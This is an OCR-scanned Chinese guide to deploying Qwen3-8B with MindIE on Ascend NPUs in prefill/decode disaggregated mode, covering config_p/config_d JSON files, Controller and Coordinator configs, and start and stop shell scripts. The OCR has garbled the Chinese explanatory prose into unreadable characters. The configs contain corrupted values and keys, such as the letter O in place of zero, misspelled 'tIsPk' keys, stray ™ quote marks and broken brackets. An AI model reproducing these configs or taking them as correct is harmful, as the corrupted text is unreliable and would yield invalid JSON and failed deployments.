"modelName": "Qwen3-8B",
"modelWeightPath":
"/mnt/class/qwen3_deploy/test_hzl/mindie/quant_output/qwen3_8b_w8a8",
"worldSize": 1,
"cpuMemSize": 0,
"npuMemSize": -1,
"backendType": "atb",
"trustRemoteCode": false,
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"async_scheduler_wait_time": 120,
"kv_trans_timeout": 10,
"kv_link_timeout": 1080,
"dp": 1,
"tp": 1,
"sp": 1,
"cp": 1
}
1
b
"ScheduleConfig": {
"templateType": "Standard",
"templateName": "Standard_LLM",
"cacheBlockSize": 128,
"maxPrefillBatchSize": 4,
"maxPrefillTokens": 2048,
"prefillTimeMsPerReq": 150,
"prefillPolicyType": 0,
"decodeTimeMsPerReq": 50,
"decodePolicyType": 0,
"maxBatchSize": 4,
"maxlterTimes": 256,
"maxPreemptCount": O,
"supportSelectBatch": false,
"maxQueueDelayMicroseconds": 5000,
"maxFirstTokenWaitTime": 2500
}
I8
"LogConfig": {
"dynamicLoglLevel": "",
"dynamicLoglLevelValidHours": 2,
"dynamicLoglLevelValidTime": ""
}

}
EOF

%811

(2) Bl Decode SLAIFRE {4

config_d.json FiF&C& Decode L, ASLIEH, Decode SEAISEE NPU1, BRSSiREJT
1028/1029/1030, WEMBESIROJ 1122, REREZEIFISR WBAS EMIEEIEHR.

AT R an<:

cd /mnt/class/qwen3_deploy/test_hzl/pd_depoly

cat > config_d.json <<'EOF'
{
"Version": "1.0.0",
"ServerConfig": {
"ipAddress": "127.0.0.1",
"managementlpAddress™: "127.0.0.2",
"port": 1028,
"managementPort": 1029,
"metricsPort": 1030,
"allowAllZerolpListening": true,
"maxLinkNum": 1000,
"httpsEnabled": false,
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"fullTextEnabled": false,

"tlsCaPath": "security/ca/",

"tlsCaFile": ["ca.pem"],

"tlsCert": "security/certs/server.pem",

"tIsPk": "security/keys/server.key.pem",

"tlsPkPwd": "security/pass/key_pwd.txt",

"tlsCrlPath™: "security/certs/",

"tIsCrlFiles": ["server_crl.pem"],

"managementTlsCaFile": ["management_ca.pem"],
"managementTlsCert": "security/certs/management/server.pem",
"managementTIsPk": "security/keys/management/server.key.pem",
"managementTIsPkPwd": "security/pass/management/key_pwd.txt",
"managementTlIsCrlPath": "security/management/certs/",
"managementTIsCrlFiles": ["server_crl.pem"],

"kmcKsfMaster": "tools/pmt/master/ksfa",

"kmcKsfStandby": "tools/pmt/standby/ksfb",

"inferMode": "dmi",

"interCommTLSEnabled": false,

"interCommPort": 1122,

"interCommTlsCaPath": "security/grpc/ca/",
"interCommTlsCaFiles": ["ca.pem"],

"interCommTlsCert": "security/grpc/certs/server.pem",
"interCommPk": "security/grpc/keys/server.key.pem",
"interCommPkPwd": "security/grpc/pass/key_pwd.txt",
"interCommTlsCrlPath": "security/grpc/certs/",
"interCommTlIsCrlFiles": ["server_crl.pem"],

"openAiSupport": "vilm",

"tokenTimeout": 600,

"e2eTimeout": 600,

"distDPServerEnabled": false

BackendConfig": {

"backendName": "mindieservice_llm_engine",
"modellnstanceNumber": 1,
"npuDevicelds": [[1]],
"tokenizerProcessNumber": 8,
"multiNodesInferEnabled": false,
"multiNodesInferPort™: 1120,
"interNodeTLSEnabled": false,
"interNodeTlsCaPath": "security/grpc/ca/",
"interNodeTlsCaFiles": ["ca.pem"],
"interNodeTlsCert": "security/grpc/certs/server.pem",
"interNodeTlsPk": "security/grpc/keys/server.key.pem",
"interNodeTlsPkPwd": "security/grpc/pass/mindie_server_key_pwd.txt",
"interNodeTlsCrlPath": "security/grpc/certs/",
"interNodeTlsCrlFiles": ["server_crl.pem"],
"interNodeKmcKsfMaster": "tools/pmt/master/ksfa",
"interNodeKmcKsfStandby": "tools/pmt/standby/ksfb",
"kvPoolConfig": {

"backend": "",

"configPath™: ""
h
"ModelDeployConfig": {

"maxSeqgLen": 2560,

"maxInputTokenLen": 2048,
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"truncation": false,
"ModelConfig": [
{
"modellnstanceType": "Standard",
"modelName": "Qwen3-8B",
"modelWeightPath":

"worldSize": 1,
"cpuMemSize": 0,
"npuMemSize": -1,
"backendType": "atb",
"trustRemoteCode": false,
"async_scheduler_wait_time": 120,
"kv_trans_timeout": 10,
"kv_link_timeout": 1080,
"dp": 1,
"tp": 1,
"sp": 1,
"cp": 1
)
1
b
"ScheduleConfig": {
"templateType": "Standard",
"templateName": "Standard_LLM",
"cacheBlockSize": 128,
"maxPrefillBatchSize": 4,
"maxPrefillTokens": 2048,
"prefillTimeMsPerReq": 150,
"prefillPolicyType": 0,
"decodeTimeMsPerReq": 50,
"decodePolicyType": 0,
"maxBatchSize": 4,
"maxlterTimes": 256,
"maxPreemptCount": O,
"supportSelectBatch": false,
"maxQueueDelayMicroseconds": 5000,
"maxFirstTokenWaitTime": 2500
}
)8
"LogConfig": {
"dynamicLoglLevel": "",
"dynamicLogLevelValidHours": 2,
"dynamicLoglLevelValidTime": ""
}
}
EOF

"/mnt/class/qwen3_deploy/test_hzl/mindie/quant_output/qwen3_8b_w8a8",

5831

(3) IEBHBIRFEERRT

MindIE ERIRSAAERENHIR . NEREENH IR ESHENEN, EiS P/D &

BNHURIRES 640,

cd /mnt/class/qwen3_deploy/test_hzl/pd_depoly

chmod 640 config_p.json
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chmod 640 config_d.json

# HBEE
python3 -m json.tool config_p.json >/dev/null&&echo "config_p.jsonJSON #&zCIERS"
python3 -m json.tool config_d.json >/dev/null&&echo "config_d.jsonJSON #&zCIERS"

# WEXEFR
cd /mnt/class/qwen3_deploy/test_hzl/pd_depoly

grep -Ei
"modelName|modelWeightPath|worldSize|npuDevicelds|interCommPort|port|managementPort|metricsPo
rtmaxSeqgLen|maxInputTokenLen|maxPrefillTokens|maxBatchSize|maxIterTimes" config_p.json

echo

grep -Ei
"modelName|modelWeightPath|worldSize|npuDevicelds|interCommPort|port|managementPort|metricsPo
rtjmaxSeqgLen|maxInputTokenLen|maxPrefillTokens|maxBatchSize|maxIterTimes" config_d.json

config_p.json® @ ¥ fa
" £% 1025,
‘managemer rt%: 1026,
. sPor 027,
"inte mF 1121,
"openAiSupy ‘vilm",
“npuDevicelds” 1,
tiNodesInferPort": 1120,
r eql ": 256
E : 2048,
'Qwen3-8B",
“: "/mnt/class/qwen3_deploy/test_hzl/mindie/quant_output/qwen3_8b_w8as",

es": 256,
"supportSelectBatch":

config_d.json® @ F fa
“port": 1028,

"openAiSupport”: "vllm",
L TAcen [

puDevicel . ] 1%
"multiNodesInferPort": 1120,
"maxSeqlLen": 2560,
n": 2048,
wen3-8B",
“: "/mnt/class/qwen3_deploy/test_hzl/mindie/quant_output/qwen3_8b_w8as",

': 2048,
e
erTimes": 256,
rtSelectBatch":

(4) ESEM=IHEA
TR EMIRIERT, config_p.json & config_d.json FEREE(EXAIZ modelWeightPath.
npuDevicelds Flix & & o

modelWeightPath FEEIEMHRIMEFIMEEIBR . ALINER W8A8 £WEEY, FL P 3L
5IF0 D SEBIEFECE S
/mnt/class/qwen3_deploy/test_hzl/mindie/quant_output/qwen3_8b_w8a8 ., ¥R JiaZIE
R HSEAmEER, FTERNMEN P/D BN ECESFFINLZFE: .




S

HUAWEI

REUEIR AR E LR 25851

npuDevicelds FAFHEEZSBISLHISEER NPU £, ASLISF, P SLHIEEE NPUO, Eitk
config_p.json g EH[[0]]; D SLfI4BE NPU1, Ett config_d.json RiZEH[[1]1]. ANRF
BEIHEM-<, a0 P sL@IfER NPU2, D SEAIER NPU3, MEZESRNEXRISI[2]11FA113]1],
ERNHEEREEH globalranktable FAY device_id. device_logical_id #1 device_ip,
isOACEEES globalranktable {f45—3., P SEfIRY
port/managementPort/metricsPort/interCommPort 43 5IXJAZ 1025/1026/1027/1121, D SE
Bl BIXTRL 1028/1029/1030/1122, dNIRiwOKSGR, FeeRIENZHRIEcES Y, EHER
(& globalranktable. Controller BEEBFIHEXBRNBIA

worldSize #1 dp/tp/sp/cp BB FEAEEISLHIHI1TH L . ASCIOSKAIEE K P SLfIF18EK D 52
5, BELE worldSize=1, dp=1, tp=1, sp=1, cp=1. WMRELE EHB < P LHlz=Z K DL
fl, FERTEBXLHITSH, HEHFML ranktable,

maxPrefillBatchSize. maxPrefillTokens. maxBatchSize #1 maxiterTimes EFEENS=H
XS¥ ., ALRLATHEEENBYR, EUCRABRRTECE, $I%0 maxBatchSize=4,
maxPrefillTokens=2048 ., WNRHITHEENK, TLAEESHEIEKRE. WAKE. BHEN
EFHEH—ZRIM

8 BI& Controller #1 Coordinator Be&3 {4

Sehk P SLIF0 D SLpIEREfE, EE4LEEGIZE Controller #1 Coordinator BRE {4, Controller
A3 P/D LHRIRSEE . AESEMNEEPRESEL, BEXH ms_controller.json;

Coordinator AEIZUIMERIEIRIESK, FHHRHE Controller 4EPHISLANRT, BiEKIFAER!
Prefill SLIF0 Decode SLAISSRIETE, BoE {4 ms_coordinator.json,

£ PD DEEEFR, BPIEKAERE AT P 3Lflgk D L6, mest—ikia Coordinator N,
ASLIEH, Coordinator #EFE AN/ http://xxxx.xx.xx:1040/v1/chat/completions

fEARSCEE AR, Controller ¥50fF 1050 i, Coordinator Y40 1040 0 1041 ix[ ., EA, 1040
EEIEERANO, BEE curl i5RkEBEZiRO .

(1) 8% Controller BEeE {4

ms_controller.json FEREEAIFELE deploy_mode. global_rank_table_file_path. P 3Cf
E18ix . Coordinator E2ix[#0 ControllerHTTP ik o

HITI TSl ms_controller.json:

cd /mnt/class/qwen3_deploy/test_hzl/pd_depoly

cat > ms_controller.json <<'EOF'
{
"allow_all_zero_ip_listening": false,
"deploy_mode": "pd_separate",
"initial_dist_server_port": 10000,
"cluster_port": 8899,
"process_manager": {
"to_file": true,
"file_path": "/mnt/class/qwen3_deploy/test_hzl/pd_depoly/controller_process_status.json"
}
"cluster_status": {
"to_file": true,



http://10.175.221.8:1040/v1/chat/completions
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"file_path": "/mnt/class/qwen3_deploy/test_hzl/pd_depoly/cluster_status_output.json"
I8
"controller_backup_cfg": {
"function_sw": false,
"database_server_dns": "etcd.default.svc.cluster.local",
"database_server_port": 2379
I8
"global_rank_table_file_path": "/mnt/class/qwen3_deploy/test_hzl/pd_depoly/800TA2-1-
global_ranktable.json",
"scaling_rule_file_path": "/mnt/class/qwen3_deploy/test_hzl/pd_depoly/elastic_scaling.json",
"cluster_synchronization_seconds": 1,
"rank_table_detecting_seconds": 5,
"disappeared_server_waiting_seconds": 7200,
"default_p_rate": 1,
"default_d_rate™: 1,
"is_heterogeneous": false,
"server_online_attempt_times": 4,
"server_online_wait_seconds": 5,
"init_role_attempt_times": 2,
"check_role_attempt_times": 300,
"check_role_wait_seconds": 5,
"mindie_server_control_port": 1026,
"mindie_server_port": 1025,
"mindie_server_metric_port": 1027,
"controller_alarm_port": 1027,
"mindie_ms_coordinator_port": 1041,
"http_timeout_seconds": 5,
"http_retries": 3,
"role_decision_methods": "digs",
"digs_request_summary_input_length": 3000,
"digs_request_summary_output_length": 200,
"digs_model_config_path": "./conf/model_config/llama2-70B.json",
"digs_machine_config_path": "./conf/machine_config/8001A2.json",
"digs_prefill_slo": 1000,
"digs_decode_slo": 50,
"multi_node_infer_config": {
"multi_node_infer_enable": false,
"p_node_config": {
"enable_dist_dp_server": false,
"node_machine_num": 1,
"tp_size": 1,
"dp_size": 1,
"sp_size": 1,
"cp_size": 1
b
"d_node_config": {
"enable_dist_dp_server": false,
"node_machine_num": 1,
"tp_size": 1,
"dp_size": 1,
"sp_size": 1,
"cp_size": 1
}

b
"model_type": "llama2-70B",
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"transfer_type": "D2DTransfer",
"digs_pp": 1,
"digs_periodic_role_decision": {
"auto_pd_role_switching_enable": true,
"role_decision_time_period": 86400,
"tasks_end_wait_seconds": 300
I8
"http_server": {
"ip": XXX XXXX",
"port™: 1050
I8
"tls_config": {
"request_coordinator_tls_enable": false,
"request_server_tls_enable": false,
"http_server_tls_enable": false,
"cluster_tls_enable": false,
"etcd_server_tls_enable": false,
"ccae_tls_enable": false,
"alarm_tls_enable": false
I8
"log_info": {
"log_level": "INFO",
"to_file": true,
"to_stdout": true,
"run_log_path": "/mnt/class/qwen3_deploy/test_hzl/pd_depoly/ms_controller_run_log.txt",
"operation_log_path":
"/mnt/class/qwen3_deploy/test_hzl/pd_depoly/ms_controller_operation_log.txt",
"max_log_str_size": 8192,
"max_log_file_size": 20,
"max_log_file_num™: 10
}

}
EOF

(2) B Coordinator EEE {4

ms_coordinator.json FEREZEAIR predict_ip. predict_port. manage_ip. manage_port F[I
scheduler_type, Er, predict_port=1040 2EEHEEERIBRIAAN DGR

HATEI T a< 82 ms_coordinator.json:

cd /mnt/class/qwen3_deploy/test_hzl/pd_depoly

cat > ms_coordinator.json <<'EOF'
{

"http_config": {
"allow_all_zero_ip_listening": false,
"predict_ip": "XX.XX.XX.XX",
"predict_port": "1040",
"manage_ip": "XX.XX.XX.XX",
"manage_port": "1041",
"alarm_port": "1027",
"server_thread_num": 10,
"client_thread_num™: 10,
"http_timeout_seconds": 600,
"keep_alive_seconds": 180,
"server_name": "MindIE-MS",
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"user_agent": "Coordinator/1.0"
I8
"request_limit": {
"single_node_max_requests": 1000,
"max_requests": 10000,
"body_Llimit": 10
I8
"metrics_config": {
"enable": false,
"trigger_size": 100
I8
"prometheus_metrics_config": {
"reuse_time": 3
I8
"exception_config": {
"max_retry": 5,
"schedule_timeout": 600,
"first_token_timeout": 600,
"infer_timeout": 600,
"tokenizer_timeout": 300
I8
"log_info": {
"log_level": "INFO",
"to_file": true,
"to_stdout": true,

"operation_log_path":
"/mnt/class/qwen3_deploy/test_hzl/pd_depoly/ms_coordinator_operation_log.txt",
"max_log_str_size": 4096,
"max_log_file_size": 20,
"max_log_file_num™: 10
)8
"digs_scheduler_config": {
"deploy_mode": "pd_disaggregation_single_container",
"scheduler_type": "digs_scheduler",
"algorithm_type": "load_balance",
"cache_size": "100",
"slots_thresh": "0.05",
"block_thresh": "0.05",
"max_schedule_count": "10000",
"reordering_type": "1",
"max_res_num": "5000",
"res_limit_rate": "1.1",
"select_type™: "2",
"load_cost_values": "1, 0",
"load_cost_coefficient": "0, 0.22, 1024, 24,6, 0, 1,0, 1"
%
"string_token_rate": 4.02,
"tls_config": {
"controller_server_tls_enable": false,
"request_server_tls_enable": false,
"mindie_client_tls_enable": false,
"mindie_mangment_tls_enable": false,
"alarm_client_tls_enable": false

}I

"run_log_path": "/mnt/class/qwen3_deploy/test_hzl/pd_depoly/ms_coordinator_run_log.txt",

588
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"backup_config": {
"function_enable": false
}

}
EOF

(3) IERERIRFEERER
MindIE WECEXHNRERZENE, BINFE—IREN 640,

cd /mnt/class/qwen3_deploy/test_hzl/pd_depoly

chmod 640 ms_controller.json
chmod 640 ms_coordinator.json

python3 -m json.tool ms_controller.json >/dev/null&&echo "ms_controller.json)SON #&z{IEM"
python3 -m json.tool ms_coordinator.json >/dev/null&&echo "ms_coordinator.jsonJSON #&={IEAfR"

# KMEXEFE

grep -Ei
"deploy_mode|global_rank_table_file_path|mindie_server_control_port|mindie_server_port|mindie_server_
metric_port|mindie_ms_coordinator_port|ip|port|run_log_path" \
/mnt/class/qwen3_deploy/test_hzl/pd_depoly/ms_controller.json

[root@worker®3 pd_depolyl# grep -Ei1 "deploy_mode|global_rank_table_file_path|mindie_server_control_port|mindie
ndie_ms_coordinator_port|ip|port|run_log_path" \
/mnt/class/qwen; deploy/test_ hzl/pd depoly/ms controller.json

allow all_zero_ip_listening":

e": “pd_separate”
"Lnltlal _dist_server_port": 10000,
"cluster_port”: 8899,
“database_server_port": 2379
k k_table f path": "/mnt/class/qwen3_deploy/test_hzl/pd_depoly/800TA2-1-global_ranktable.json",

“controller_alarm_port":

¢ i3 1050
th": "/mnt/class/qwen3_deploy/test_hzl/pd_depoly/ms_controller_run_log.txt"
[root@work9r0> pd_depolyl# [

(4) ERESRIA

TR R E IR SRS, ms_controller.json (PREZEHIZ global_rank_table_file_path.
http_server.ip 1 http_server.port, E, global _rank_table_file_path #/itg @ =B5L38 B
SFAY 800TA2-1-global_ranktable.json; http_server.ip EEEX F Y BiIRSZ =S IP;
http_server.port 525 ranktable FfJ Controller i {RIF—2

mindie_server_control_port. mindie_server_port #1 mindie_server_metric_port FBF
Controller 1518 P LIRSS . ARSLIEH 59 1026, 1025 0 1027, YNRIEN T P LHlix
O, SERFSESUXLEFE:, BN Controller BJEETCAIEMIREN P SLHMKZE

mindie_ms_coordinator_port FiF Controller 5 Coordinator i&{5, ASLIGH/ 1041, 1R
Coordinator Eix1REZMN, FERDIELZFE.

ms_coordinator.json FEREZEAYE predict_ip. predict_port. manage_ip 1

manage_port, EH1, predict_ip # predict_port JRESMEBHEIBIEKiAFEIMLUE; manage_ip #
manage_port F§F Coordinator EIR@(5 . ASLIGH, HEEADON xxxxxxxx:1040, S1Eix
E79 xxxxxx.xx:1041,
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scheduler_type #1 deploy_mode FF$55€ Coordinator FE&ET . ALIGKABESEE PD &
EEPEH U, At deploy_mode BeE N pd_disaggregation_single_container,
scheduler_type Bc& 9 digs_scheduler, SNREBZNZHaK, K8s HiE =, HERIELIFAIZ
PREHRRZEDEE.

9 CIEENFZLEARSHIA

5eh% P/D 3Lffl. Controller 1 Coordinator Bt&f5, HECIERBIHAFZIERIA , ARLIGFR
FREEAEE 4 MEA, BalliEEINA:

Prefill SLf5|-->Decode SLf5-->Controller-->Coordinator

{ZLERIA LA —BIE MindIE tBX#i2. BT PD D EIRS SRS MHAEIERFHIE, X
RHFA—SIEHA, EFClRERFFER.

(1) U Prefill SEBIEEIRIZA

ZHIARBFE5h Prefill 3261, #20BCE S config_p.json, EHA
DIST_PD_DISAGGREGATION=1 BFF/3 PD 5EEX8E/, config_p.json A4BE NPUO F
hiEk WBA8 EHIREIE R,

cd /mnt/class/qwen3_deploy/test_hzl/pd_depoly

cat > start_p.sh <<'EOF'
#!/bin/bash
set -e

export POD_IP=xXX.XX.XX.XX
export MIES_CONTAINER_IP=XX.XX.XX.XX
export MIES_CONTAINER_MANAGEMENT _IP=xX.XX.XX.XX

export MINDIE_LOG_TO_FILE=1

export MINDIE_LOG_TO_STDOUT=1

export MINDIE_LOG_LEVEL=DEBUG

export MINDIE_USER_HOME_PATH=/usr/local/

cd /usr/local/Ascend/mindie/latest/mindie-service/
source /usr/local/Ascend/mindie/set_env.sh

export DIST_PD_DISAGGREGATION=1

export PYTORCH_NPU_ALLOC_CONF=expandable_segments:True
export ATB_WORKSPACE_MEM_ALLOC_ALG_TYPE=3
export ATB_WORKSPACE_MEM_ALLOC_GLOBAL=1
export OMP_NUM_THREADS=8

export HCCL_CONNECT_TIMEOUT=7200

export HCCL_INTRA_ROCE_ENABLE=1

export HCCL_EXEC_TIMEOUT=0

export HCCL_ENTRY_LOG_ENABLE=1

export HCCL_RDMA_TC=132

export HCCL_RDMA_SL=4

export HCCL_RDMA_TIMEOUT=16

export NPU_MEMORY_FRACTION=0.92

export MINDIE_ASYNC_SCHEDULING_ENABLE=0
export HCCL_OP_EXPANSION_MODE="AIV"
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./bin/mindieservice_daemon --config-file /mnt/class/qwen3_deploy/test_hzl/pd_depoly/config_p.json
EOF

(2) Bl% Decode SLAIEINIZA

1ZIZRFF 550 Decode 3245ll, #ZOBc&E /I config_d.json, EF config_d.json 48E NPU1,
F5 Prefill SEFIINERE—1 WBA8 EUIREIER

cd /mnt/class/qwen3_deploy/test_hzl/pd_depoly

cat > start_d.sh <<'EOF'
#!/bin/bash
set -e

export POD_IP=xX.XX.XX.XX
export MIES_CONTAINER_IP=XX.XX.XX.XX
export MIES_CONTAINER_MANAGEMENT _IP=xX.XX.XX.XX

export MINDIE_LOG_TO_FILE=1

export MINDIE_LOG_TO_STDOUT=1

export MINDIE_LOG_LEVEL=DEBUG

export MINDIE_USER_HOME_PATH=/usr/local/

cd /usr/local/Ascend/mindie/latest/mindie-service/
source /usr/local/Ascend/mindie/set_env.sh

export DIST_PD_DISAGGREGATION=1

export PYTORCH_NPU_ALLOC_CONF=expandable_segments:True
export ATB_WORKSPACE_MEM_ALLOC_ALG_TYPE=3
export ATB_WORKSPACE_MEM_ALLOC_GLOBAL=1
export OMP_NUM_THREADS=8

export HCCL_CONNECT_TIMEOUT=7200

export HCCL_INTRA_ROCE_ENABLE=1

export HCCL_EXEC_TIMEOUT=0

export HCCL_ENTRY_LOG_ENABLE=1

export HCCL_RDMA_TC=132

export HCCL_RDMA_SL=4

export HCCL_RDMA_TIMEOUT=16

export NPU_MEMORY_FRACTION=0.92

export MINDIE_ASYNC_SCHEDULING_ENABLE=0
export HCCL_OP_EXPANSION_MODE="AIV"

./bin/mindieservice_daemon --config-file /mnt/class/qwen3_deploy/test_hzl/pd_depoly/config_d.json
EOF

(3) Bz Controller B4

1ZBIARFFB5h Controller, Controller £15EBY ms_controller.json 1 800TA2-1-
global_ranktable.json, iR5l P/D SLAIHZHAEEE,

cd /mnt/class/qwen3_deploy/test_hzl/pd_depoly

cat > start_ctl.sh <<'EOF'
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#!/bin/bash
set -e

export POD_IP=xXX.XX.XX.XX
export MIES_CONTAINER_IP=XX.XX.XX.XX
export MIES_CONTAINER_MANAGEMENT _IP=xX.XX.XX.XX

cd /usr/local/Ascend/mindie/latest/mindie-service/
source /usr/local/Ascend/mindie/set_env.sh

export HSECEASY_PATH=/usr/local/Ascend/mindie/latest/mindie-service/lib

export GLOBAL_RANK_TABLE_FILE_PATH=/mnt/class/qwen3_deploy/test_hzl/pd_depoly/800TA2-1-
global_ranktable.json

export
MINDIE_MS_CONTROLLER_CONFIG_FILE_PATH=/mnt/class/qwen3_deploy/test_hzl/pd_depoly/ms_contr
oller.json

export MINDIE_LOG_TO_FILE=1

export MINDIE_LOG_TO_STDOUT=1

export MINDIE_LOG_LEVEL=DEBUG

./bin/ms_controller
EOF

(4) B3 Coordinator BEhIA
ZMIZ<AF 55D Coordinator, Coordinator JTYMEMFZE—HEIBANC, ANSLIGHIEREON:
http://xx.xx.xx.xx:1040/v1/chat/completions

cd /mnt/class/qwen3_deploy/test_hzl/pd_depoly

cat > start_coor.sh <<'EOF'
#!/bin/bash
set -e

export POD_IP=xX.XX.XX.XX
cd /usr/local/Ascend/mindie/latest/mindie-service/
source /usr/local/Ascend/mindie/set_env.sh

export HSECEASY_PATH=/usr/local/Ascend/mindie/latest/mindie-service/lib

export
MINDIE_MS_COORDINATOR_CONFIG_FILE_PATH=/mnt/class/qwen3_deploy/test_hzl/pd_depoly/ms_coor
dinator.json

export MINDIE_LOG_TO_FILE=1

export MINDIE_LOG_TO_STDOUT=1

export MINDIE_LOG_LEVEL=DEBUG

./bin/ms_coordinator xx.xx.xx.xx 1040 xx.xx.xx.xx 1041
EOF

(5) BIBR—BEhEIA
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RO FaRE, ALUASIRSR—BEhA start_pd_allsh, #2882 P L, D K.
Controller. Coordinator HIRFEREIIIRSE . F—REsIARGAEHGHRES, BESE5R0HK
NIAFZESHE. w0, P/D K Coordinator H&H— I,

cd /mnt/class/qwen3_deploy/test_hzl/pd_depoly

cat > start_pd_all.sh <<'EOF'
#!/bin/bash
set -e

cd /mnt/class/qwen3_deploy/test_hzl/pd_depoly

rm -f /mnt/class/qwen3_deploy/test_hzl/pd_depoly/mindie-p.log
rm -f /mnt/class/qwen3_deploy/test_hzl/pd_depoly/mindie-d.log
rm -f /mnt/class/qwen3_deploy/test_hzl/pd_depoly/mindie-ctl.log
rm -f /mnt/class/qwen3_deploy/test_hzl/pd_depoly/mindie-coor.log

echo "===== [F&f] Prefill SLfl] ====="

nohup /mnt/class/qwen3_deploy/test_hzl/pd_depoly/start_p.sh >
/mnt/class/qwen3_deploy/test_hzl/pd_depoly/mindie-p.log 2>&1 &
sleep 5

echo "===== [3#f] Decode SLfl|] ====="

nohup /mnt/class/qwen3_deploy/test_hzl/pd_depoly/start_d.sh >
/mnt/class/qwen3_deploy/test_hzl/pd_depoly/mindie-d.log 2>&1 &
sleep 5

echo "===== [35f] Controller ====="

nohup /mnt/class/qwen3_deploy/test_hzl/pd_depoly/start_ctl.sh >
/mnt/class/qwen3_deploy/test_hzl/pd_depoly/mindie-ctl.log 2>&1 &
sleep 5

echo "===== Fz}] Coordinator ====="
nohup /mnt/class/qwen3_deploy/test_hzl/pd_depoly/start_coor.sh >
/mnt/class/qwen3_deploy/test_hzl/pd_depoly/mindie-coor.log 2>&1 &

(6) BIZFE—(=IEHIA
ZAZ LIRSS SLIRMRER . MRE—F[/PIE T 7 H A MindIE BRSS, (FLEBIFEZRSTHHIA
HIZE, BRIRREMIRS .

cd /mnt/class/qwen3_deploy/test_hzl/pd_depoly

cat > stop_pd_all.sh <<'EOF'
#!/bin/bash

echo "===== {Z1F MindIEPD HEiE8XifHFE ====="
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ps -ef | grep -E "mindieservice_daemon|mindie_llm_backend|ms_controller|ms_coordinator" | grep -v
grep || echo " K& MindIE HBHFE"

ps -ef | grep -E "mindieservice_daemon|mindie_llm_backend|ms_controller|ms_coordinator" | grep -v
grep | awk '{print $2}' | xargs -r kill -9

echo = 1%-_”:)—5—11\_%? ===

ps -ef | grep -E "mindieservice_daemon|mindie_llm_backend|ms_controller|ms_coordinator" | grep -v
grep || echo "MindIEPD 5> B1EXIHEEFIETTR"

EOF

(7)) IR T PRADAS

cd /mnt/class/qwen3_deploy/test_hzl/pd_depoly

chmod 750 start_p.sh
chmod 750 start_d.sh
chmod 750 start_ctl.sh
chmod 750 start_coor.sh
chmod 750 start_pd_all.sh
chmod 750 stop_pd_all.sh

ls -lh start_*.sh stop_pd_all.sh
grep -Ei

"config_p.json|config_d.json|ms_controller.json|ms_coordinator.json|global_ranktable|mindieservice_daem
on|ms_controller|ms_coordinator|xx.xx.xx.xx|1040[1041" start_*.sh

[root@workere3 bd:debOIQj# cd /mnt/class/qwen3_deploy/test_hzl/pd_depoly

1s -1h start_*.sh stop_pd_all.sh

E1 "config_p.json|config_d.json|ms_controller.json|ms_coordinator.json|global_ranktable|mindieservice_daemon|ms_contro
\1040|1041 start_*.sh
1 root root 471 May
1 root root 628 May
1 root root 959 May
1 root root 959 May
1 root root 1.1K May
1 root root 540 May
:export POD_IP=
:export MINDIE_MS DINATOR CONFIG_FILE_PATH=/mnt/class/qwen3_deploy/test_hz1l/pd_depoly/
:./bin/ 104 1041
:export POD_IP=
:export MIES_CONTAINER_IP=
:export MIES_CONTAINER_MANAGEMENT_IP=
:export GLOBAL_RANK_TABLE_FILE_PATH=/mnt/class/qwen3_deploy/test_hz1/pd_depoly/800TA2-1-
:export MINDIE_MS NTROLLEF CONFIG FILE_PATH=/mnt/class/qwen3_deploy/test_hzl/pd_ depoly/
:./biny nt 1
:export POD_IP=
:export MIES_CONTAINER_IP=
rexport MIES CONTAINER MANAGE"’ENT IP‘
:./bin/r Y file /mnt/class/qwen3_deploy/test_hzl/pd_depoly/conf
:export POD_ IP—
:export MIES _CONTAINER_IP=
:export MIES CONTAINER MANAGED’ENT IP—
./bin/r -file /mnt/class/qwen3_deploy/test_hzl/pd_depoly/
[root@workero; pd_depoly]#
#

(8) ExiEs=ikiA

ﬁzéu LBIMERT, Bl APREEEXEIRS WSS 1P NECESFIRER . RS SS
P ZEESHIBEMENEDRIAL src FERAFT—E, ASLIS xxxxxx.xxo. WNREIRIRSZEE,
%Elﬂﬂ%& POD_IP. MIES_CONTAINER_IP. MIES_CONTAINER_MANAGEMENT_IP LAK

start_coor.sh FHBEEISE,

21:16
21:16
21:16
21:16
22:52 3
22:52 stop_g

€0 00 00 00 O O
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BENHEREFEESLHNBERERN— . ALKRFIEEESSE T
/mnt/class/qwen3_deploy/test_hzl/pd_depoly, EUILHIARFIHERIZEITIRR ., WNRITFEE
HibBF, FERZ{EX config_p.json. config_d.json. ms_controller.json.
ms_coordinator.json 1 800TA2-1-global_ranktable.json HIE&1R,

BailFENREFAZ, RI5cEsn P SelF D £, BfEah Controller, &ia/anh
Coordinator, 1R 5c/Z50 Coordinator, AIEE=EI P/D LK ready MiERTIEIER
notready, {B/S4E7E Controller ERRSEILFHOIREIREER . AT RIDHIESRE, L
1 FAhEIN ElE R A LR BRI .

£ 10 [35)PD EBERS

SRR E AN ALIFES, BIAl/25) MindIEPD 9ERSS. ASCISRFARASEREST,
ER—aSEhikX 2N Prefill S5, Decode 3245]. Controller 1 Coordinator.

BRI ST ERCE XHRER. JSON #8=0F0 MindIE BIHUTIHERR, BRI R R
[ SEARSS BEIKL.

(1) JSEIReE
PATIN T anSHIARCEN 4. BIZAF] MindIE BHERHIERE:

cd /mnt/class/qwen3_deploy/test_hzl/pd_depoly

echo "===== EE%Y{’.‘F*@E ===

ls -lh 800TA2-1-global_ranktable.json config_p.json config_d.json ms_controller.json ms_coordinator.json
echo

echo "===== %ﬁﬂﬁiﬂz’&*ﬁﬁ ===

ls -lh start_p.sh start_d.sh start_ctl.sh start_coor.sh start_pd_all.sh stop_pd_all.sh

echo

echo ”::::: JSON %ﬁ*\ﬁﬁ :::::"

python3 -m json.tool 800TA2-1-global_ranktable.json >/dev/null&&echo "globalranktable)SON f&={1EH

python3 -m json.tool config_p.json >/dev/null&&echo "config_p.json)SON #&z{IEM"

python3 -m json.tool config_d.json >/dev/null&&echo "config_d.json)SON #&z{IEH"

python3 -m json.tool ms_controller.json >/dev/null&&echo "ms_controller.json)SON #&zLIEH"
python3 -m json.tool ms_coordinator.json >/dev/null&&echo "ms_coordinator.jsonJSON #&={IEAf"

echo "===== MindIE I&REE ====="

Is -ld /usr/local/Ascend/mindie/latest/mindie-service

Is -Lh /usr/local/Ascend/mindie/latest/mindie-service/bin/mindieservice_daemon
ls -Lh /usr/local/Ascend/mindie/latest/mindie-service/bin/ms_controller

ls -lh /usr/local/Ascend/mindie/latest/mindie-service/bin/ms_coordinator

(2) BIEE#HE
NRZEIBEEMI MindIE frSS, BITEEIBHE, BRin0SREIREKE.

cd /mnt/class/qwen3_deploy/test_hzl/pd_depoly

./stop_pd_all.sh
